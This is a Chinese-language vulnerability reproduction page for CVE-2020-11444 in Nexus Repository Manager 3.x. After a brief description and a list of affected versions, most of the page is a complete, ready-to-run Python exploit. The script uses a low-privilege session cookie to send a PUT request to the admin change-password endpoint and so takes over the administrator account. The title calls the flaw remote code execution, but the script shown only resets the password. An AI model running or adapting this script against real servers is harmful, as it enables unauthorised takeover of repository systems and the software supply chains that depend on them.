(CVE-2020-11444)Nexus Repository Manager 远程代码执行漏洞¶
一、漏洞简介¶
该漏洞源于不正确的访问控制。攻击者可借助特制的请求利用该漏洞绕过访问限制。
二、漏洞影响¶
Nexus Repository Manager 3.x版本至3.21.2版本
三、复现过程¶
cve-2020-11444_exp.py
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
import sys
import requests
if len(sys.argv)!=4:
print('+-----------------------------------------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ CVE-2020-11444 Nexus 3 Unauthorized Vuln (change admin password +')
print('+-----------------------------------------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> <session> <password> +')
print('+ EXP: python3 cve-2020-11444_exp.py http://ip:8081 6c012a5e-88d9-4f96-a05f-3790294dc49a 123456 +')
print('+ VER: Nexus Repository Manager 3.x OSS / Pro <= 3.21.1 +')
print('+-----------------------------------------------------------------------------------------------+')
sys.exit(0)
url = sys.argv[1]
vuln_url = url + "/service/rest/beta/security/users/admin/change-password"
session = sys.argv[2]
password = sys.argv[3]
headers = {
'accept': "application/json",
'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
'NX-ANTI-CSRF-TOKEN': "0.6080434247960143",
'Content-Type': "text/plain",
'Origin': "http://127.0.0.1:8081",
'Cookie': "NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID="+session+""
}
data = """%s""" % password
r = requests.request('PUT', url=vuln_url, headers=headers, data=data)
if r.status_code == 204:
print ("[+] Passowrd Change Success")
print ("[+] " + url)
print ("[+] Username:admin Passowrd:"+password+"")
else:
print ("[-] SessionID Not available")
print ("[-] Target Not CVE-2020-11444 Vuln Good Luck")
sys.exit(0)